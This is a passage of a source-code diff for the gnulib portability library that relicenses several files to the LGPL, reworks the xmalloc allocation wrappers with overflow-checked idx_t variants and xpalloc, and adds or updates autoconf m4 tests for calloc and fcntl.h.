b/gnulib/lib/windows-recmutex.h +@@ -1,18 +1,18 @@ + /* Plain recursive mutexes (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-rwlock.c ++++ b/gnulib/lib/windows-rwlock.c +@@ -1,18 +1,18 @@ + /* Read-write locks (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/windows-rwlock.h ++++ b/gnulib/lib/windows-rwlock.h +@@ -1,18 +1,18 @@ + /* Read-write locks (native Windows implementation). + Copyright (C) 2005-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + /* Written by Bruno Haible <bruno@clisp.org>, 2005. + Based on GCC's gthr-win32.h. */ +--- a/gnulib/lib/xalloc-oversized.h ++++ b/gnulib/lib/xalloc-oversized.h +@@ -2,17 +2,17 @@ + + Copyright (C) 1990-2000, 2003-2004, 2006-2021 Free Software Foundation, Inc. + +- This program is free software: you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3 of the License, or +- (at your option) any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License ++ You should have received a copy of the GNU Lesser General Public License + along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef XALLOC_OVERSIZED_H_ +@@ -21,34 +21,39 @@ + #include <stddef.h> + #include <stdint.h> + +-/* True if N * S would overflow in a size_t calculation, +- or would generate a value larger than PTRDIFF_MAX. ++/* True if N * S does not fit into both ptrdiff_t and size_t. ++ N and S should be nonnegative and free of side effects. + This expands to a constant expression if N and S are both constants. +- By gnulib convention, SIZE_MAX represents overflow in size ++ By gnulib convention, SIZE_MAX represents overflow in size_t + calculations, so the conservative size_t-based dividend to use here + is SIZE_MAX - 1. */ + #define __xalloc_oversized(n, s) \ +- ((size_t) (PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX - 1) / (s) < (n)) +- +-#if PTRDIFF_MAX < SIZE_MAX +-typedef ptrdiff_t __xalloc_count_type; +-#else +-typedef size_t __xalloc_count_type; +-#endif +- +-/* Return 1 if an array of N objects, each of size S, cannot exist +- reliably due to size or ptrdiff_t arithmetic overflow. S must be +- positive and N must be nonnegative. This is a macro, not a +- function, so that it works correctly even when SIZE_MAX < N. */ +- +-#if 7 <= __GNUC__ && !defined __clang__ ++ ((s) != 0 \ ++ && ((size_t) (PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX - 1) / (s) \ ++ < (n))) ++ ++/* Return 1 if and only if an array of N objects, each of size S, ++ cannot exist reliably because its total size in bytes would exceed ++ MIN (PTRDIFF_MAX, SIZE_MAX - 1). ++ ++ N and S should be nonnegative and free of side effects. ++ ++ Warning: (xalloc_oversized (N, S) ? NULL : malloc (N * S)) can ++ misbehave if N and S are both narrower than ptrdiff_t and size_t, ++ and can be rewritten as (xalloc_oversized (N, S) ? NULL ++ : malloc (N * (size_t) S)). ++ ++ This is a macro, not a function, so that it works even if an ++ argument exceeds MAX (PTRDIFF_MAX, SIZE_MAX). */ ++#if 7 <= __GNUC__ && !defined __clang__ && PTRDIFF_MAX < SIZE_MAX + # define xalloc_oversized(n, s) \ +- __builtin_mul_overflow_p (n, s, (__xalloc_count_type) 1) +-#elif 5 <= __GNUC__ && !defined __ICC && !__STRICT_ANSI__ ++ __builtin_mul_overflow_p (n, s, (ptrdiff_t) 1) ++#elif (5 <= __GNUC__ && !defined __ICC && !__STRICT_ANSI__ \ ++ && PTRDIFF_MAX < SIZE_MAX) + # define xalloc_oversized(n, s) \ + (__builtin_constant_p (n) && __builtin_constant_p (s) \ + ? __xalloc_oversized (n, s) \ +- : ({ __xalloc_count_type __xalloc_count; \ ++ : ({ ptrdiff_t __xalloc_count; \ + __builtin_mul_overflow (n, s, &__xalloc_count); })) + + /* Other compilers use integer division; this may be slower but is +--- a/gnulib/lib/xalloc.h ++++ b/gnulib/lib/xalloc.h +@@ -21,7 +21,10 @@ + #include <stddef.h> + #include <stdint.h> + +-#include "xalloc-oversized.h" ++#if GNULIB_XALLOC ++# include "idx.h" ++# include "intprops.h" ++#endif + + #ifndef _GL_INLINE_HEADER_BEGIN + #error "Please include config.h first." +@@ -50,17 +53,26 @@ extern "C" { + + #if GNULIB_XALLOC + +-void *xmalloc (size_t s) +- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1)); +-void *xzalloc (size_t s) +- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1)); ++void *xmalloc (size_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1)); ++void *ximalloc (idx_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1)); ++void *xzalloc (size_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1)); ++void *xizalloc (idx_t s) _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1)); + void *xcalloc (size_t n, size_t s) +- _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2)); +-void *xrealloc (void *p, size_t s) +- _GL_ATTRIBUTE_ALLOC_SIZE ((2)); +-void *x2realloc (void *p, size_t *pn); +-void *xmemdup (void const *p, size_t s) +- _GL_ATTRIBUTE_ALLOC_SIZE ((2)); ++ _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2)); ++void *xicalloc (idx_t n, idx_t s) ++ _GL_ATTRIBUTE_MALLOC _GL_ATTRIBUTE_ALLOC_SIZE ((1, 2)); ++void *xrealloc (void *p, size_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2)); ++void *xirealloc (void *p, idx_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2)); ++void *xreallocarray (void *p, size_t n, size_t s) ++ _GL_ATTRIBUTE_ALLOC_SIZE ((2, 3)); ++void *xireallocarray (void *p, idx_t n, idx_t s) ++ _GL_ATTRIBUTE_ALLOC_SIZE ((2, 3)); ++void *x2realloc (void *p, size_t *ps); /* superseded by xpalloc */ ++void *x2nrealloc (void *p, size_t *pn, size_t s); /* superseded by xpalloc */ ++void *xpalloc (void *pa, idx_t *pn, idx_t n_incr_min, ptrdiff_t n_max, idx_t s); ++void *xmemdup (void const *p, size_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2)); ++void *ximemdup (void const *p, idx_t s) _GL_ATTRIBUTE_ALLOC_SIZE ((2)); ++char *ximemdup0 (void const *p, idx_t s) _GL_ATTRIBUTE_MALLOC; + char *xstrdup (char const *str) + _GL_ATTRIBUTE_MALLOC; + +@@ -98,11 +110,10 @@ XALLOC_INLINE void *xnmalloc (size_t n, + XALLOC_INLINE void * + xnmalloc (size_t n, size_t s) + { +- if (xalloc_oversized (n, s)) +- xalloc_die (); +- return xmalloc (n * s); ++ return xreallocarray (NULL, n, s); + } + ++/* FIXME: Deprecate this in favor of xreallocarray? */ + /* Change the size of an allocated block of memory P to an array of N + objects each of S bytes, with error checking. S must be nonzero. */ + +@@ -111,100 +122,7 @@ XALLOC_INLINE void *xnrealloc (void *p, + XALLOC_INLINE void * + xnrealloc (void *p, size_t n, size_t s) + { +- if (xalloc_oversized (n, s)) +- xalloc_die (); +- return xrealloc (p, n * s); +-} +- +-/* If P is null, allocate a block of at least *PN such objects; +- otherwise, reallocate P so that it contains more than *PN objects +- each of S bytes. S must be nonzero. Set *PN to the new number of +- objects, and return the pointer to the new block. *PN is never set +- to zero, and the returned pointer is never null. +- +- Repeated reallocations are guaranteed to make progress, either by +- allocating an initial block with a nonzero size, or by allocating a +- larger block. +- +- In the following implementation, nonzero sizes are increased by a +- factor of approximately 1.5 so that repeated reallocations have +- O(N) overall cost rather than O(N**2) cost, but the +- specification for this function does not guarantee that rate. +- +- Here is an example of use: +- +- int *p = NULL; +- size_t used = 0; +- size_t allocated = 0; +- +- void +- append_int (int value) +- { +- if (used == allocated) +- p = x2nrealloc (p, &allocated, sizeof *p); +- p[used++] = value; +- } +- +- This causes x2nrealloc to allocate a block of some nonzero size the +- first time it is called. +- +- To have finer-grained control over the initial size, set *PN to a +- nonzero value before calling this function with P == NULL. For +- example: +- +- int *p = NULL; +- size_t used = 0; +- size_t allocated = 0; +- size_t allocated1 = 1000; +- +- void +- append_int (int value) +- { +- if (used == allocated) +- { +- p = x2nrealloc (p, &allocated1, sizeof *p); +- allocated = allocated1; +- } +- p[used++] = value; +- } +- +- */ +- +-XALLOC_INLINE void * +-x2nrealloc (void *p, size_t *pn, size_t s) +-{ +- size_t n = *pn; +- +- if (! p) +- { +- if (! n) +- { +- /* The approximate size to use for initial small allocation +- requests, when the invoking code specifies an old size of +- zero. This is the largest "small" request for the GNU C +- library malloc. */ +- enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 }; +- +- n = DEFAULT_MXFAST / s; +- n += !n; +- } +- if (xalloc_oversized (n, s)) +- xalloc_die (); +- } +- else +- { +- /* Set N = floor (1.5 * N) + 1 so that progress is made even if N == 0. +- Check for overflow, so that N * S stays in both ptrdiff_t and +- size_t range. The check may be slightly conservative, but an +- exact check isn't worth the trouble. */ +- if ((PTRDIFF_MAX < SIZE_MAX ? PTRDIFF_MAX : SIZE_MAX) / 3 * 2 / s +- <= n) +- xalloc_die (); +- n += n / 2 + 1; +- } +- +- *pn = n; +- return xrealloc (p, n * s); ++ return xreallocarray (p, n, s); + } + + /* Return a pointer to a new buffer of N bytes. This is like xmalloc, +@@ -239,9 +157,16 @@ xrealloc (T *p, size_t s) + } + + template <typename T> inline T * ++xreallocarray (T *p, size_t n, size_t s) ++{ ++ return (T *) xreallocarray ((void *) p, n, s); ++} ++ ++/* FIXME: Deprecate this in favor of xreallocarray? */ ++template <typename T> inline T * + xnrealloc (T *p, size_t n, size_t s) + { +- return (T *) xnrealloc ((void *) p, n, s); ++ return xreallocarray (p, n, s); + } + + template <typename T> inline T * +--- a/gnulib/lib/xmalloc.c ++++ b/gnulib/lib/xmalloc.c +@@ -21,80 +21,250 @@ + + #include "xalloc.h" + ++#include "ialloc.h" ++#include "intprops.h" ++#include "minmax.h" ++ + #include <stdlib.h> + #include <string.h> + +-/* 1 if calloc, malloc and realloc are known to be compatible with GNU. +- This matters if we are not also using the calloc-gnu, malloc-gnu +- and realloc-gnu modules, which define HAVE_CALLOC_GNU, +- HAVE_MALLOC_GNU and HAVE_REALLOC_GNU and support the GNU API even +- on non-GNU platforms. */ +-#if defined HAVE_CALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__) +-enum { HAVE_GNU_CALLOC = 1 }; +-#else +-enum { HAVE_GNU_CALLOC = 0 }; +-#endif +-#if defined HAVE_MALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__) +-enum { HAVE_GNU_MALLOC = 1 }; +-#else +-enum { HAVE_GNU_MALLOC = 0 }; +-#endif +-#if defined HAVE_REALLOC_GNU || (defined __GLIBC__ && !defined __UCLIBC__) +-enum { HAVE_GNU_REALLOC = 1 }; +-#else +-enum { HAVE_GNU_REALLOC = 0 }; +-#endif ++static void * _GL_ATTRIBUTE_PURE ++nonnull (void *p) ++{ ++ if (!p) ++ xalloc_die (); ++ return p; ++} + +-/* Allocate N bytes of memory dynamically, with error checking. */ ++/* Allocate S bytes of memory dynamically, with error checking. */ + + void * +-xmalloc (size_t n) ++xmalloc (size_t s) + { +- void *p = malloc (n); +- if (!p && (HAVE_GNU_MALLOC || n)) +- xalloc_die (); +- return p; ++ return nonnull (malloc (s)); ++} ++ ++void * ++ximalloc (idx_t s) ++{ ++ return nonnull (imalloc (s)); + } + +-/* Change the size of an allocated block of memory P to N bytes, ++/* Change the size of an allocated block of memory P to S bytes, + with error checking. */ + + void * +-xrealloc (void *p, size_t n) ++xrealloc (void *p, size_t s) + { +- if (!HAVE_GNU_REALLOC && !n && p) +- { +- /* The GNU and C99 realloc behaviors disagree here. Act like GNU. */ +- free (p); +- return NULL; +- } ++ void *r = realloc (p, s); ++ if (!r && (!p || s)) ++ xalloc_die (); ++ return r; ++} ++ ++void * ++xirealloc (void *p, idx_t s) ++{ ++ return nonnull (irealloc (p, s)); ++} ++ ++/* Change the size of an allocated block of memory P to an array of N ++ objects each of S bytes, with error checking. */ + +- void *r = realloc (p, n); +- if (!r && (n || (HAVE_GNU_REALLOC && !p))) ++void * ++xreallocarray (void *p, size_t n, size_t s) ++{ ++ void *r = reallocarray (p, n, s); ++ if (!r && (!p || (n && s))) + xalloc_die (); + return r; + } + +-/* If P is null, allocate a block of at least *PN bytes; otherwise, +- reallocate P so that it contains more than *PN bytes. *PN must be +- nonzero unless P is null. Set *PN to the new block's size, and +- return the pointer to the new block. *PN is never set to zero, and ++void * ++xireallocarray (void *p, idx_t n, idx_t s) ++{ ++ return nonnull (ireallocarray (p, n, s)); ++} ++ ++/* If P is null, allocate a block of at least *PS bytes; otherwise, ++ reallocate P so that it contains more than *PS bytes. *PS must be ++ nonzero unless P is null. Set *PS to the new block's size, and ++ return the pointer to the new block. *PS is never set to zero, and + the returned pointer is never null. */ + + void * +-x2realloc (void *p, size_t *pn) ++x2realloc (void *p, size_t *ps) ++{ ++ return x2nrealloc (p, ps, 1); ++} ++ ++/* If P is null, allocate a block of at least *PN such objects; ++ otherwise, reallocate P so that it contains more than *PN objects ++ each of S bytes. S must be nonzero. Set *PN to the new number of ++ objects, and return the pointer to the new block. *PN is never set ++ to zero, and the returned pointer is never null. ++ ++ Repeated reallocations are guaranteed to make progress, either by ++ allocating an initial block with a nonzero size, or by allocating a ++ larger block. ++ ++ In the following implementation, nonzero sizes are increased by a ++ factor of approximately 1.5 so that repeated reallocations have ++ O(N) overall cost rather than O(N**2) cost, but the ++ specification for this function does not guarantee that rate. ++ ++ Here is an example of use: ++ ++ int *p = NULL; ++ size_t used = 0; ++ size_t allocated = 0; ++ ++ void ++ append_int (int value) ++ { ++ if (used == allocated) ++ p = x2nrealloc (p, &allocated, sizeof *p); ++ p[used++] = value; ++ } ++ ++ This causes x2nrealloc to allocate a block of some nonzero size the ++ first time it is called. ++ ++ To have finer-grained control over the initial size, set *PN to a ++ nonzero value before calling this function with P == NULL. For ++ example: ++ ++ int *p = NULL; ++ size_t used = 0; ++ size_t allocated = 0; ++ size_t allocated1 = 1000; ++ ++ void ++ append_int (int value) ++ { ++ if (used == allocated) ++ { ++ p = x2nrealloc (p, &allocated1, sizeof *p); ++ allocated = allocated1; ++ } ++ p[used++] = value; ++ } ++ ++ */ ++ ++void * ++x2nrealloc (void *p, size_t *pn, size_t s) + { +- return x2nrealloc (p, pn, 1); ++ size_t n = *pn; ++ ++ if (! p) ++ { ++ if (! n) ++ { ++ /* The approximate size to use for initial small allocation ++ requests, when the invoking code specifies an old size of ++ zero. This is the largest "small" request for the GNU C ++ library malloc. */ ++ enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 }; ++ ++ n = DEFAULT_MXFAST / s; ++ n += !n; ++ } ++ } ++ else ++ { ++ /* Set N = floor (1.5 * N) + 1 to make progress even if N == 0. */ ++ if (INT_ADD_WRAPV (n, (n >> 1) + 1, &n)) ++ xalloc_die (); ++ } ++ ++ p = xreallocarray (p, n, s); ++ *pn = n; ++ return p; + } + +-/* Allocate N bytes of zeroed memory dynamically, with error checking. ++/* Grow PA, which points to an array of *PN items, and return the ++ location of the reallocated array, updating *PN to reflect its ++ new size. The new array will contain at least N_INCR_MIN more ++ items, but will not contain more than N_MAX items total. ++ S is the size of each item, in bytes. ++ ++ S and N_INCR_MIN must be positive. *PN must be ++ nonnegative. If N_MAX is -1, it is treated as if it were ++ infinity. ++ ++ If PA is null, then allocate a new array instead of reallocating ++ the old one. ++ ++ Thus, to grow an array A without saving its old contents, do ++ { free (A); A = xpalloc (NULL, &AITEMS, ...); }. */ ++ ++void * ++xpalloc (void *pa, idx_t *pn, idx_t n_incr_min, ptrdiff_t n_max, idx_t s) ++{ ++ idx_t n0 = *pn; ++ ++ /* The approximate size to use for initial small allocation ++ requests. This is the largest "small" request for the GNU C ++ library malloc. */ ++ enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 }; ++ ++ /* If the array is tiny, grow it to about (but no greater than) ++ DEFAULT_MXFAST bytes. Otherwise, grow it by about 50%. ++ Adjust the growth according to three constraints: N_INCR_MIN, ++ N_MAX, and what the C language can represent safely. */ ++ ++ idx_t n; ++ if (INT_ADD_WRAPV (n0, n0 >> 1, &n)) ++ n = IDX_MAX; ++ if (0 <= n_max && n_max < n) ++ n = n_max; ++ ++ /* NBYTES is of a type suitable for holding the count of bytes in an object. ++ This is typically idx_t, but it should be size_t on (theoretical?) ++ platforms where SIZE_MAX < IDX_MAX so xpalloc does not pass ++ values greater than SIZE_MAX to xrealloc. */ ++#if IDX_MAX <= SIZE_MAX ++ idx_t nbytes; ++#else ++ size_t nbytes; ++#endif ++ idx_t adjusted_nbytes ++ = (INT_MULTIPLY_WRAPV (n, s, &nbytes) ++ ? MIN (IDX_MAX, SIZE_MAX) ++ : nbytes < DEFAULT_MXFAST ? DEFAULT_MXFAST : 0); ++ if (adjusted_nbytes) ++ { ++ n = adjusted_nbytes / s; ++ nbytes = adjusted_nbytes - adjusted_nbytes % s; ++ } ++ ++ if (! pa) ++ *pn = 0; ++ if (n - n0 < n_incr_min ++ && (INT_ADD_WRAPV (n0, n_incr_min, &n) ++ || (0 <= n_max && n_max < n) ++ || INT_MULTIPLY_WRAPV (n, s, &nbytes))) ++ xalloc_die (); ++ pa = xrealloc (pa, nbytes); ++ *pn = n; ++ return pa; ++} ++ ++/* Allocate S bytes of zeroed memory dynamically, with error checking. + There's no need for xnzalloc (N, S), since it would be equivalent + to xcalloc (N, S). */ + + void * +-xzalloc (size_t n) ++xzalloc (size_t s) ++{ ++ return xcalloc (s, 1); ++} ++ ++void * ++xizalloc (idx_t s) + { +- return xcalloc (n, 1); ++ return xicalloc (s, 1); + } + + /* Allocate zeroed memory for N elements of S bytes, with error +@@ -103,15 +273,13 @@ xzalloc (size_t n) + void * + xcalloc (size_t n, size_t s) + { +- void *p; +- /* Test for overflow, since objects with size greater than +- PTRDIFF_MAX cause pointer subtraction to go awry. Omit size-zero +- tests if HAVE_GNU_CALLOC, since GNU calloc never returns NULL if +- successful. */ +- if (xalloc_oversized (n, s) +- || (! (p = calloc (n, s)) && (HAVE_GNU_CALLOC || n != 0))) +- xalloc_die (); +- return p; ++ return nonnull (calloc (n, s)); ++} ++ ++void * ++xicalloc (idx_t n, idx_t s) ++{ ++ return nonnull (icalloc (n, s)); + } + + /* Clone an object P of size S, with error checking. There's no need +@@ -124,6 +292,23 @@ xmemdup (void const *p, size_t s) + return memcpy (xmalloc (s), p, s); + } + ++void * ++ximemdup (void const *p, idx_t s) ++{ ++ return memcpy (ximalloc (s), p, s); ++} ++ ++/* Clone an object P of size S, with error checking. Append ++ a terminating NUL byte. */ ++ ++char * ++ximemdup0 (void const *p, idx_t s) ++{ ++ char *result = ximalloc (s + 1); ++ result[s] = 0; ++ return memcpy (result, p, s); ++} ++ + /* Clone STRING. */ + + char * +--- a/gnulib/lib/xsize.c ++++ b/gnulib/lib/xsize.c +@@ -1,3 +1,21 @@ ++/* Checked size_t computations. ++ ++ Copyright (C) 2012-2021 Free Software Foundation, Inc. ++ ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. ++ ++ This file is distributed in the hope that it will be useful, ++ but WITHOUT ANY WARRANTY; without even the implied warranty of ++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ GNU Lesser General Public License for more details. ++ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ ++ + #include <config.h> ++ + #define XSIZE_INLINE _GL_EXTERN_INLINE + #include "xsize.h" +--- a/gnulib/lib/xsize.h ++++ b/gnulib/lib/xsize.h +@@ -2,18 +2,18 @@ + + Copyright (C) 2003, 2008-2021 Free Software Foundation, Inc. + +- This program is free software; you can redistribute it and/or modify +- it under the terms of the GNU General Public License as published by +- the Free Software Foundation; either version 3, or (at your option) +- any later version. ++ This file is free software: you can redistribute it and/or modify ++ it under the terms of the GNU Lesser General Public License as ++ published by the Free Software Foundation; either version 2.1 of the ++ License, or (at your option) any later version. + +- This program is distributed in the hope that it will be useful, ++ This file is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +- GNU General Public License for more details. ++ GNU Lesser General Public License for more details. + +- You should have received a copy of the GNU General Public License +- along with this program; if not, see <https://www.gnu.org/licenses/>. */ ++ You should have received a copy of the GNU Lesser General Public License ++ along with this program. If not, see <https://www.gnu.org/licenses/>. */ + + #ifndef _XSIZE_H + #define _XSIZE_H +--- /dev/null ++++ b/gnulib/m4/calloc.m4 +@@ -0,0 +1,82 @@ ++# calloc.m4 serial 27 ++ ++# Copyright (C) 2004-2021 Free Software Foundation, Inc. ++# This file is free software; the Free Software Foundation ++# gives unlimited permission to copy and/or distribute it, ++# with or without modifications, as long as this notice is preserved. ++ ++# Written by Jim Meyering. ++ ++# Determine whether calloc (N, S) returns non-NULL when N*S is zero, ++# and returns NULL when N*S overflows. ++# If so, define HAVE_CALLOC. Otherwise, define calloc to rpl_calloc ++# and arrange to use a calloc wrapper function that does work in that case. ++ ++# _AC_FUNC_CALLOC_IF([IF-WORKS], [IF-NOT]) ++# ------------------------------------- ++# If calloc is compatible with GNU calloc, run IF-WORKS, otherwise, IF-NOT. ++AC_DEFUN([_AC_FUNC_CALLOC_IF], ++[ ++ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles ++ AC_CACHE_CHECK([whether calloc (0, n) and calloc (n, 0) return nonnull], ++ [ac_cv_func_calloc_0_nonnull], ++ [if test $cross_compiling != yes; then ++ ac_cv_func_calloc_0_nonnull=yes ++ AC_RUN_IFELSE( ++ [AC_LANG_PROGRAM( ++ [AC_INCLUDES_DEFAULT], ++ [[int result = 0; ++ char * volatile p = calloc (0, 0); ++ if (!p) ++ result |= 1; ++ free (p); ++ return result; ++ ]])], ++ [], ++ [ac_cv_func_calloc_0_nonnull=no]) ++ else ++ case "$host_os" in ++ # Guess yes on glibc systems. ++ *-gnu* | gnu*) ac_cv_func_calloc_0_nonnull="guessing yes" ;; ++ # Guess yes on musl systems. ++ *-musl*) ac_cv_func_calloc_0_nonnull="guessing yes" ;; ++ # Guess yes on native Windows. ++ mingw*) ac_cv_func_calloc_0_nonnull="guessing yes" ;; ++ # If we don't know, obey --enable-cross-guesses. ++ *) ac_cv_func_calloc_0_nonnull="$gl_cross_guess_normal" ;; ++ esac ++ fi ++ ]) ++ AS_CASE([$ac_cv_func_calloc_0_nonnull], [*yes], [$1], [$2]) ++]) ++ ++ ++# gl_FUNC_CALLOC_GNU ++# ------------------ ++# Replace calloc if it is not compatible with GNU libc. ++AC_DEFUN([gl_FUNC_CALLOC_GNU], ++[ ++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ AC_REQUIRE([gl_FUNC_CALLOC_POSIX]) ++ if test $REPLACE_CALLOC = 0; then ++ _AC_FUNC_CALLOC_IF([], [REPLACE_CALLOC=1]) ++ fi ++])# gl_FUNC_CALLOC_GNU ++ ++# gl_FUNC_CALLOC_POSIX ++# -------------------- ++# Test whether 'calloc' is POSIX compliant (sets errno to ENOMEM when it ++# fails, and doesn't mess up with ptrdiff_t or size_t overflow), ++# and replace calloc if it is not. ++AC_DEFUN([gl_FUNC_CALLOC_POSIX], ++[ ++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX]) ++ if test $REPLACE_MALLOC = 1; then ++ REPLACE_CALLOC=1 ++ fi ++ dnl Although in theory we should also test for size_t overflow, ++ dnl in practice testing for ptrdiff_t overflow suffices ++ dnl since PTRDIFF_MAX <= SIZE_MAX on all known Gnulib porting targets. ++ dnl A separate size_t test would slow down 'configure'. ++]) +--- a/gnulib/m4/fcntl_h.m4 ++++ b/gnulib/m4/fcntl_h.m4 +@@ -1,4 +1,4 @@ +-# serial 17 ++# serial 20 + # Configure fcntl.h. + dnl Copyright (C) 2006-2007, 2009-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation +@@ -7,7 +7,7 @@ dnl with or without modifications, as lo + + dnl Written by Paul Eggert. + +-AC_DEFUN([gl_FCNTL_H], ++AC_DEFUN_ONCE([gl_FCNTL_H], + [ + AC_REQUIRE([gl_FCNTL_H_DEFAULTS]) + AC_REQUIRE([gl_FCNTL_O_FLAGS]) +@@ -26,25 +26,40 @@ AC_DEFUN([gl_FCNTL_H], + ]], [fcntl openat]) + ]) + ++# gl_FCNTL_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_FCNTL_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_FCNTL_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_FCNTL_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_FCNTL_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_FCNTL_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CREAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCNTL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NONBLOCKING]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OPEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OPENAT]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CREAT], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_OPEN], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_FCNTL_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_FCNTL_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_FCNTL_H_DEFAULTS], + 